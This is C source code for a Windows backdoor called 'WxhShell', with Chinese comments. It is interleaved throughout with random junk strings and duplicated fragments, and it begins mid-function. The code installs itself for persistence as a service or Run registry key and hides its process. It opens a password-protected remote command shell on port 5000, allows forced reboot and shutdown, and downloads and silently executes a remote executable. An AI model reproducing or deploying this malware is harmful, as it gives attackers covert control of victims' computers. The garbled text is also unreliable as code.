"GetModuleBaseNameA"); Tw \@]fw NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $d1ow#ROgy yXkQ
,y if (!NtQueryInformationProcess) return 0; -raK padV|hF3(e hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D~inR3(} if(!hProcess) return 0; 0ytAn+/"x hz bvR~rn if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ob%iZ.D|3< ,T;sWl CloseHandle(hProcess); 8V(~u^!%_ "eoPG#]& hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,%Pn.E* r; if(hProcess==NULL) return 0; H!NGY]z* Z4z|B& HMODULE hMod; *K>2B99TXu char procName[255]; iMry0z unsigned long cbNeeded; ko.%@Y(= .aL%}`8l? if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H94_a e ,!SbH CloseHandle(hProcess); DmoY],9I+p oCwep^P(v if(strstr(procName,"services")) return 1; // 以服务启动 w2$ L;q +VIEDV+ return 0; // 注册表启动 y2k's } ]Y
&
2& 5i$P$ R // 主模块 y;0Zk~R$ int StartWxhshell(LPSTR lpCmdLine) C&q}&=3r { jKP75jm SOCKET wsl; qZQm*q(jM BOOL val=TRUE; //G&=i$ int port=0; YTgT2w struct sockaddr_in door; %jUZc:06 0o6r3xc; if(wscfg.ws_autoins) Install(); ?,v@H$)3_ p-C{$5&
O1 port=atoi(lpCmdLine); h1)+QLI ")boY/ P/w if(port<=0) port=wscfg.ws_port; c5CxR#O r& RJ'z WSADATA data; NVVAh5R if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uA?a
DjA Q0PqyobD if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; rI)&.5^ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7DW-brd
door.sin_family = AF_INET; HVC|0} door.sin_addr.s_addr = inet_addr("127.0.0.1"); 11$v~<M door.sin_port = htons(port); R]kH$0` q9(O=7O]- if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HDo=W qG closesocket(wsl); acpc[^' return 1; 4J[bh } 4yu=e;C wy #.j:P# if(listen(wsl,2) == INVALID_SOCKET) { EY1L5Ba. closesocket(wsl); Y\H4.$V return 1; 3,+UsB% } gi
A(VUwI> Wxhshell(wsl); ieyqp~+|4$ WSACleanup(); F7p`zf@O] >03JQe_#*L return 0; [xs`Pi /Wjf"dG} } I#yd/d5^ i;)r|L`V? // 以NT服务方式启动 E;a9RV| VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v|kL7t)} { HV3D$~g F DWORD status = 0; {-IRX)m* DWORD specificError = 0xfffffff; _i"[m(ABj1 .|ZnU]~T serviceStatus.dwServiceType = SERVICE_WIN32; ht)KS9Xu serviceStatus.dwCurrentState = SERVICE_START_PENDING; <RkJ7Z^ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I>3G"[t serviceStatus.dwWin32ExitCode = 0; -}JRsQ+rgM serviceStatus.dwServiceSpecificExitCode = 0; Z*5]qh2r8 serviceStatus.dwCheckPoint = 0; "%t !+E>nr serviceStatus.dwWaitHint = 0; qmpU{fs d#- <=6 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7`X9s~B if (hServiceStatusHandle==0) return; c_2kHT
BgG+ status = GetLastError(); 0xutG/-&N if (status!=NO_ERROR) Y0OVzp9 b { {QLqf serviceStatus.dwCurrentState = SERVICE_STOPPED; 9;c]_zt serviceStatus.dwCheckPoint = 0; *!(?=9[ serviceStatus.dwWaitHint = 0; #KSB% serviceStatus.dwWin32ExitCode = status; f1VA61z{) serviceStatus.dwServiceSpecificExitCode = specificError; pQxi0/d p SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sytx9`G 5 return; |Oaj
Jux } QeAkuqT'[ 3412znM& serviceStatus.dwCurrentState = SERVICE_RUNNING; "V_PWEi serviceStatus.dwCheckPoint = 0; +%RXV~ serviceStatus.dwWaitHint = 0; [26([H if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b+}*@xhl } ?9H.JR2s% 8<ri"m, // 处理NT服务事件,比如:启动、停止 z[, ` VOID WINAPI NTServiceHandler(DWORD fdwControl) ;c>Rjg&[ { =mk7'A>l switch(fdwControl) 80M4~'3 { _^ @}LVv+E case SERVICE_CONTROL_STOP: ^coJ"[D serviceStatus.dwWin32ExitCode = 0; 6{I5 23g serviceStatus.dwCurrentState = SERVICE_STOPPED; K31rt-IIt serviceStatus.dwCheckPoint = 0; ]pA}h.R#- serviceStatus.dwWaitHint = 0;
!*xQPanL { ZjJEjw SetServiceStatus(hServiceStatusHandle, &serviceStatus); g'b)] Q }
v4<x 4 return; dTP$7nfe case SERVICE_CONTROL_PAUSE: aI8K*D )@ serviceStatus.dwCurrentState = SERVICE_PAUSED; m;LeaD}0 break; WaWx5Fx+
case SERVICE_CONTROL_CONTINUE: V#6`PD6 serviceStatus.dwCurrentState = SERVICE_RUNNING; J`3pXc$. break; UIv
2wA2 case SERVICE_CONTROL_INTERROGATE: #/1,Cv yj break; R=M${u<t }; {Z|.-~W SetServiceStatus(hServiceStatusHandle, &serviceStatus); p.1|bXY` } Lp/]iZ@ N1!|nS3w // 标准应用程序主函数 D &wm7, int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f-6E> { ^\\cGJ&8c C`x>)wm: // 获取操作系统版本 2S8/
lsB
OsIsNt=GetOsVer(); B|~\m~ GetModuleFileName(NULL,ExeFile,MAX_PATH); @ B3@M B: uW(E
// 从命令行安装 ZA ii"F if(strpbrk(lpCmdLine,"iI")) Install(); { l LUZM EY!aiH6P // 下载执行文件 r jL%M'; if(wscfg.ws_downexe) { >[Q(!Ai if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \d%SC <s WinExec(wscfg.ws_filenam,SW_HIDE); g;bkVq } rC<m6 PHD$E s if(!OsIsNt) { s 4}}MV3X // 如果时win9x,隐藏进程并且设置为注册表启动 gzHjD-g-< HideProc();
*Qg/W?"m StartWxhshell(lpCmdLine); kF.PLn'iS }
Px K else 4Kt?; y
; if(StartFromService()) /gHRJ$2|Sx // 以服务方式启动 x<=+RYz#^: StartServiceCtrlDispatcher(DispatchTable); J2H8r 'T else !H,R$3~ // 普通方式启动 zYj8\iER StartWxhshell(lpCmdLine); G#CWl),= 'F[Q E9]* return 0; AC(}cMM+ } jvm
"7)h $-
#M~eZv DjL(-7'p '&T4ryq3" =========================================== 4k$BqM1 WohK,<Or .'7o,)pJ< JT<Ia Cl>'K*$F ;Fuxj!gF " m&|?mTo>m v?h#Ym3e< #include <stdio.h> f+$/gz #include <string.h> P/Sv^d5=e #include <windows.h> g >-iBxml #include <winsock2.h> |2c '0Ibu #include <winsvc.h> 0/(YH #include <urlmon.h> 35jP</ WFN5&7$ W #pragma comment (lib, "Ws2_32.lib") ~Cj+6CrT #pragma comment (lib, "urlmon.lib") h.~S^uKi* Yq)
wE|k/ #define MAX_USER 100 // 最大客户端连接数 j|HOry1E & #define BUF_SOCK 200 // sock buffer |TEf? <"c #define KEY_BUFF 255 // 输入 buffer I%*o7" m2<sVTN`^ #define REBOOT 0 // 重启 59T:{d;~ #define SHUTDOWN 1 // 关机 HPwmi[
{v]A`u) #define DEF_PORT 5000 // 监听端口 R^_/iy $o1Gxz #define REG_LEN 16 // 注册表键长度 |n~,$ #define SVC_LEN 80 // NT服务名长度
b9w9M&?fT &&(sZGw // 从dll定义API xp>ra2A typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); le|e 4f*+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }QG6KJh_% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pU`Q[HOs typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O&\;BF5:R KH2a 2 // wxhshell配置信息 -jFt4Q7}8 struct WSCFG { `<Zp!Hl(j int ws_port; // 监听端口 Y@^MU->+ char ws_passstr[REG_LEN]; // 口令 S4`uNB#Ht int ws_autoins; // 安装标记, 1=yes 0=no (D{9~^EO>a char ws_regname[REG_LEN]; // 注册表键名 A*~zdZ p char ws_svcname[REG_LEN]; // 服务名 7PP76$ char ws_svcdisp[SVC_LEN]; // 服务显示名 W)w@ju$Ko char ws_svcdesc[SVC_LEN]; // 服务描述信息 o& $Fc8bH char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @;d(>_n int ws_downexe; // 下载执行标记, 1=yes 0=no ~XQN4Tv- char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Cq/*/jBM char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .azdAq'r&\ sRb)*p' }; =QOtag1; OZLU>LU // default Wxhshell configuration NBE)DL struct WSCFG wscfg={DEF_PORT, n>Q/XQXB "xuhuanlingzhe", 3MiNJi#=2 1, 3@s|tm1 "Wxhshell", <q%buyQna "Wxhshell", nP4jOq*H "WxhShell Service", 86@"BNnTh "Wrsky Windows CmdShell Service", f(7/ "Please Input Your Password: ", m_Z%[@L 1, *V3 }L
Z "http://www.wrsky.com/wxhshell.exe", ;VYL7Xu]( "Wxhshell.exe" z)yxz:E }; pvP|.sw5G r/+<_3 // 消息定义模块 do7 [Nj char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :kflq char *msg_ws_prompt="\n\r? for help\n\r#>"; |AuN5|obI char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TpuN[Y char *msg_ws_ext="\n\rExit."; L5of(gQ5] char *msg_ws_end="\n\rQuit."; !YsLx[+ char *msg_ws_boot="\n\rReboot..."; =?0o5|u] char *msg_ws_poff="\n\rShutdown..."; RBJgQ<j8 char *msg_ws_down="\n\rSave to "; >j_,3{eJ \ d+&&ns char *msg_ws_err="\n\rErr!"; *>9#a0cp char *msg_ws_ok="\n\rOK!"; %{5mkO&,2 W !2(Ph* char ExeFile[MAX_PATH]; *" >ek k int nUser = 0; 4 )*8& HANDLE handles[MAX_USER]; b qEwi[` int OsIsNt; -?&wD["y ;:hyW,J SERVICE_STATUS serviceStatus; ,57g_z]V SERVICE_STATUS_HANDLE hServiceStatusHandle; ul>$vUbyf Y)g7
E" // 函数声明 >QU1_'1r int Install(void); "<t/*$42 int Uninstall(void); Bk?3lwCT int DownloadFile(char *sURL, SOCKET wsh); 89U<9j int Boot(int flag); ;Q:^|Fw!F void HideProc(void); %=S~[&8C int GetOsVer(void); [l:3F<M int Wxhshell(SOCKET wsl); qeb:n$ void TalkWithClient(void *cs); RN]4 Is: int CmdShell(SOCKET sock); smF#'"{ int StartFromService(void); Se%FqI int StartWxhshell(LPSTR lpCmdLine); G5 Y 8]N +D* b!5[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ABSAle VOID WINAPI NTServiceHandler( DWORD fdwControl ); NELQo#kjZ c&e?_@}| // 数据结构和表定义 Gc<J x|Q7 SERVICE_TABLE_ENTRY DispatchTable[] = %XMrSlSOp { \vs,$h {wscfg.ws_svcname, NTServiceMain}, kb Fr {NULL, NULL} 5Q^
L"&0 }; PBTGN;y sFC&DTb? // 自我安装 6,7Fl=< int Install(void) d>M&jSCL { 6I.N:)= char svExeFile[MAX_PATH]; hT>h HKEY key; M6jP>fbV* strcpy(svExeFile,ExeFile); Ultx|qU ]m{;yOQdsC // 如果是win9x系统,修改注册表设为自启动 zT6ng# if(!OsIsNt) { &$.Vi&{. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <fC gU& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3x#=@i RegCloseKey(key); G9<pYt{: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @`t)ly#N RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {
KE[8n RegCloseKey(key); j/5>zS return 0; Psp3~Kg } n6ETWjP } )@RTU~# } A=o
p R else { 6+_)(+c 2[}^ zTtA // 如果是NT以上系统,安装为系统服务 36s[hg SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .;u(uB;J6 if (schSCManager!=0) #r `hK) { z1aApS SC_HANDLE schService = CreateService ~Us1F=i_Q ( {6!Mf+Xq schSCManager, L,!Z wscfg.ws_svcname, L%ND?'@ wscfg.ws_svcdisp, Oj:O-PtN2 SERVICE_ALL_ACCESS, ^)m]j`}IGb SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;_R;P;< SERVICE_AUTO_START, LDN'o1$qo SERVICE_ERROR_NORMAL,
&THM]3: svExeFile, X's-i! NULL, :c"J$wT/ NULL, c@1C| NULL, Z~F% K~( NULL, hun
LV8z NULL B08q/qi ); 7uFM)b@.P if (schService!=0) BA' ($D> { KW+ps16~ CloseServiceHandle(schService); v1?P$f*g CloseServiceHandle(schSCManager); DZ?>9W{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Sdz!J 1 strcat(svExeFile,wscfg.ws_svcname); wb2N$Ew= if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XtRfzqg?K RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AMA:hQ RegCloseKey(key); ^QTl (L return 0; (k"|k } 7
a !b} } M.1R]x(| CloseServiceHandle(schSCManager); ])!|b2:s3 } &ME[H } 0PE $n KS}Ci- return 1; j9XY%4. } eXx6b~D O?p.kf{b // 自我卸载 d i`}Y& int Uninstall(void) ;XSRG*3j~4 { b{)9?%_ HKEY key; ^ ]SS\=7 ,Ej2]iO\7 if(!OsIsNt) { aD8cqVhM3& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5F+5J)h RegDeleteValue(key,wscfg.ws_regname); #M&rmKv)g RegCloseKey(key); UTc$zc7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zL5r8mD3 RegDeleteValue(key,wscfg.ws_regname); b[$%Wg RegCloseKey(key); s$YKdtR return 0; *Af]?-|^{# } 8Y3c,p/gS> } k{Vc5F } #s{>v$F else { YiB]}/ V:9| 9$G SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m=Y9s B if (schSCManager!=0) FSoL|lH { `sQ\j Nu SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aDb@u3X@ if (schService!=0) @xH|( { FVMR9~&+ if(DeleteService(schService)!=0) { N{46DS CloseServiceHandle(schService); m <IPi < CloseServiceHandle(schSCManager); 4%LG9hS return 0; nS"K
dPM } ,w,>pO'[ CloseServiceHandle(schService); "
E72j. } vnMt>]w-} CloseServiceHandle(schSCManager); HAEgR } gF^l`1f" } \xkLI:*\ fs&J%ku\ return 1; 6%H8Qv } 91r9RG> yZ~<!
5.P // 从指定url下载文件 g4<%t,(88E int DownloadFile(char *sURL, SOCKET wsh) &{9'ylv-B) { NoO>CjeFb HRESULT hr; 7Gnslp?[U char seps[]= "/"; w(8q qU+\ char *token; Zq~2 BeB char *file; e
&^BPzg char myURL[MAX_PATH]; 5#g<L ~ char myFILE[MAX_PATH]; C$){H"# h?j;*|o- strcpy(myURL,sURL); j WLZ!a3+ token=strtok(myURL,seps); >"jV8%!sM while(token!=NULL) v]F q}I" { O_K@\<;~ file=token; il<D e]G token=strtok(NULL,seps); D%(9ot{!e } q~p,A>K wYSvI GetCurrentDirectory(MAX_PATH,myFILE); j|FGb: strcat(myFILE, "\\"); NLyvi,svS strcat(myFILE, file); X_C9Z send(wsh,myFILE,strlen(myFILE),0); gGw6c" FRQ send(wsh,"...",3,0); UBOCd[ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MG>g?s'! if(hr==S_OK) &
d\`=e return 0; >s1FTB-$W else m?'5*\(ST return 1; B}X
C 'G>Ejh@t } >C+0LF`U (aVsp*E // 系统电源模块 Ictc '#y int Boot(int flag) uEWW Y t { \hdR&f5q HANDLE hToken; V[wEn9
TOKEN_PRIVILEGES tkp; @I\Z2-J SW(7!` if(OsIsNt) { <Xm5re. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JmrQDO_( LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )PL'^gRr tkp.PrivilegeCount = 1; B3O^(M5W tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m}:";>?# AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ItDe_|!L if(flag==REBOOT) { Fly@"W4a if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h#zx^F1 return 0; EAF<PMb } ?*u)T%S else { DX}EOxO,. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w4'(Y,(` return 0; PtO-%I<N } mz1Xk ]nE } /4#.qq0\{c else { l"}W $3]u$ if(flag==REBOOT) { W0tBF&E" if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |o~FKy1'z\ return 0; u9:;ft{}N } (*&6XTV( else { -4,qAnuMx if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y((z9-`
return 0; /AJ^wY } {5.,gb @6 } LoOyqJ, 4S 2I]d return 1; 1KruGq~ } zF;}b3oIo ij r*_= // win9x进程隐藏模块 00U8<~u void HideProc(void) 2c5>0f { wC!(STu ^*A/92!yF HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3Aaj+=]W if ( hKernel != NULL ) KK(x)( { 1(w0*` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JQ+4 SomK ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BS*cG>T FreeLibrary(hKernel); pTGq4v@6x } 9Lk.\. Br]VCp return; Lr)h>j6\ } H b] 1kio.9NIp // 获取操作系统版本 $msT,$NJ int GetOsVer(void) \VHi { >gFF>L> OSVERSIONINFO winfo; !aa^kcEjnL winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }O2hhh_ GetVersionEx(&winfo); ~W5fJd0 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~S|Vd return 1; jV:U% else )K@ 20Q+0K return 0; RK'3b/T } J9/9k A!fjw // 客户端句柄模块 5tP0dQYd int Wxhshell(SOCKET wsl) V QPq+78 { rcxV ,<[B SOCKET wsh; *2MUG
h struct sockaddr_in client; &HFMF)NA DWORD myID; p]!,BoZL lqX]'gu]\ while(nUser<MAX_USER) ?aSL'GI { kG?tgO?* int nSize=sizeof(client); (`3Bi]7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SwC,=S if(wsh==INVALID_SOCKET) return 1; ^%go\ C ; ed{z^!w4 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t~5>PS if(handles[nUser]==0) "~]9}KM}3W closesocket(wsh); E'XFn' else bn<&Xe nUser++; .vG6\U7 } vm8QKPy WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bGK&W;Myk 8"oS1W return 0; HP]Xh~aP } .4_~ku hJFQ/( // 关闭 socket
`Yoafa void CloseIt(SOCKET wsh) \VtCkb { zXcSE" closesocket(wsh); eDaVoc3 nUser--; WpTC,~- ExitThread(0); c0Q`S"o+ } .]r[0U Kwh3SU=L} // 客户端请求句柄 Oo7n_h1 void TalkWithClient(void *cs) }[ AIE[ { ~e%*hZNo 7acAU{Rr SOCKET wsh=(SOCKET)cs; kZz;l(?0 char pwd[SVC_LEN]; d:A+s>`$M char cmd[KEY_BUFF]; _$cQAH0 E char chr[1]; Z]9
)1& int i,j; H7l[5ib zw5EaY while (nUser < MAX_USER) {
vf5[x!4 !29
Rl`9 if(wscfg.ws_passstr) { :+E>UzT if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9oc[}k-M //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i]Kq //ZeroMemory(pwd,KEY_BUFF); v`wPdb i=0; '7Te{^<FQ$ while(i<SVC_LEN) { s)]|zu0"Ku 3c9v~5og4 // 设置超时 v+Mt/8 fd_set FdRead; <&H.pN1_ struct timeval TimeOut; .Z/"L@ FD_ZERO(&FdRead); z2"2Xqy<U FD_SET(wsh,&FdRead); nHZ 4):` TimeOut.tv_sec=8;
>St TimeOut.tv_usec=0; bzUc;&WDz int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <~:
g if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UK_2i(I"e 6GJ?rE E/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X^aujK^@ pwd=chr[0]; T( ;BEyc? if(chr[0]==0xd || chr[0]==0xa) { Oh8;YE-% pwd=0; :U r%.0 break; (%I`EAR } Lo;T\CN i++; =faV,o&{` } 7Kh+m@q. tM@TT@.t~ // 如果是非法用户,关闭 socket pdtK3Pf if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !3HMGzt } v t(kL(}v U6M4}q(N] send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zEks4yd send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DbOWnXV"o _Z8zD[l while(1) { N|7._AR2 r-'j#|^tz ZeroMemory(cmd,KEY_BUFF); R \`,Q'3 \UNw43EL // 自动支持客户端 telnet标准 n'M}6XUw j=0; :+[q` while(j<KEY_BUFF) { 9KAXc(- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^[qmELW#7 cmd[j]=chr[0]; +j`*?pPD(. if(chr[0]==0xa || chr[0]==0xd) { A>d*<#x cmd[j]=0; NINyg"g< break; I}?fy\1A& } p&ZD1qa j++; :T'"%_d5 }
Rl6E .^Ek1fi. // 下载文件 nnr(\r~ if(strstr(cmd,"http://")) { Qz/=+A/4 send(wsh,msg_ws_down,strlen(msg_ws_down),0); )9@Ftzg| if(DownloadFile(cmd,wsh)) T_B$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); noL<pkks~R else bNc=}^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I^lb;3uR } iLS'47 else { %Xp}d5- F!SmCE(0x switch(cmd[0]) { {)k}dr [m('Y0fwO^ // 帮助 BQw#PXp3 case '?': { 9nd'"$ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z?E:s.4F break; ux-Fvwoh } r[~Km5 // 安装 %} \@Wk~ case 'i': { \UN7lDH if(Install()) v}[7)oj| send(wsh,msg_ws_err,strlen(msg_ws_err),0); ot,<iE#za else 0!!pNK%( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )8e_<^M break; 8 Z#)Xb4 } SJ+.i
u/ // 卸载 .!=g case 'r': { 1Rwk}wL if(Uninstall()) n]_8!NU send(wsh,msg_ws_err,strlen(msg_ws_err),0); <K 4zH<y else o1kLT@VCl send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j7uiZU;3Rx break; T_I"Tsv } SDJAk&Z}R // 显示 wxhshell 所在路径 >Wy@J]Y# case 'p': { IURi90Ir char svExeFile[MAX_PATH]; =DF7l<&km strcpy(svExeFile,"\n\r"); [n66ZY#U] strcat(svExeFile,ExeFile); +KD~/}C%- send(wsh,svExeFile,strlen(svExeFile),0); 4d6F4G4U break; =u73AM} } ZEHz/Y% // 重启 7G2TT a case 'b': { l} h<2 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YMJjO0 if(Boot(REBOOT)) i mJ{wF send(wsh,msg_ws_err,strlen(msg_ws_err),0); mDj:w#q else { =|uX? closesocket(wsh); WFLT[j!1 ExitThread(0); 5v>(xl } \!s0VEE break; cV)C:!W2
} # {!Qf\1M // 关机 }4ta#T Ea case 'd': { | F:? send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]36 R_Dp if(Boot(SHUTDOWN)) TQbhK^] send(wsh,msg_ws_err,strlen(msg_ws_err),0); rXfQ_ else { ywCE2N<-V? closesocket(wsh); %:((S]vAi ExitThread(0); qb
"H&)aHw } R+, tn,<< break; "K~+T\^|k } iVnrv`k, // 获取shell ZYkeW case 's': { f@>27&'WV CmdShell(wsh); 8[}MXMRdb closesocket(wsh); ;xwa,1] ExitThread(0); <W\~A$ break; d<: VoQM6M } ae#7*B // 退出 (~/D*<A case 'x': { $NJi]g|<3 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k,b(MAiQ0 CloseIt(wsh); O^oFH
OpFh break; m.S@ e8kS } &*L:4By)] // 离开 #p*OLQ3~ case 'q': { hIPDJ1a send(wsh,msg_ws_end,strlen(msg_ws_end),0); j'CRm5O closesocket(wsh); t~X wF("; WSACleanup(); a<c % Xy/ exit(1); `^(6{p ? break; UHweV:(|T } 8pt;'' } Y@RPQPmIQ } +Bc/@.Q' h^34{pKDn // 提示信息 hRGK W if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c9iCH~ } #).om*Xh } /3rt]h" 3}n=o d= return; WynHcxC } ;c<:"ad( uXu'I // shell模块句柄 q^Oq:l$s int CmdShell(SOCKET sock) N$?mula { 7P:0XML} STARTUPINFO si; Yq<D(F#qx ZeroMemory(&si,sizeof(si)); :]e:-JbT4z si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OFCkQEG=y> si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QQ1+uY PROCESS_INFORMATION ProcessInfo; ;STO!^9~ char cmdline[]="cmd"; A$fd6+{ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6$@Pk<w return 0; rb&^ ei9B } 1OE^pxfi> &R pQ2*4n // 自身启动模式 A
CJmy2 int StartFromService(void) BJ~Q\Si6 { ~F>oNbJIv typedef struct kzgHp,;R{ { )v8;\1`s: DWORD ExitStatus; u ldea) DWORD PebBaseAddress; w0tlF:Eg DWORD AffinityMask; c3i|q@ k DWORD BasePriority; RiaO`|1 ULONG UniqueProcessId; EmG`ga)s ULONG InheritedFromUniqueProcessId; C[? itk! } PROCESS_BASIC_INFORMATION; 1\kOjF)l fcD$km PROCNTQSIP NtQueryInformationProcess; SECL(@0(^ H&3VPag static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _Vj O
[hx static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @Mt6O_V .'5yFBS HANDLE hProcess; 2~ Gcoda PROCESS_BASIC_INFORMATION pbi; 8X5;)h L.l%EcW=, HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _BtppQIWv if(NULL == hInst ) return 0; {5^'u^E {B?%r[nW g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cJj0`@0f g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7+#^:;19` NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); </:f-J%U/ RyIr_:&-~ if (!NtQueryInformationProcess) return 0; PIB|&I|p N;Hrc6nin^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @ g~kp if(!hProcess) return 0; G/2@Mn- m*CIbkDsZ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VGWqy4m ,'={/)c< CloseHandle(hProcess); CH`4FR.- B~u{LvTE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ElqHZ$a? if(hProcess==NULL) return 0; 3f
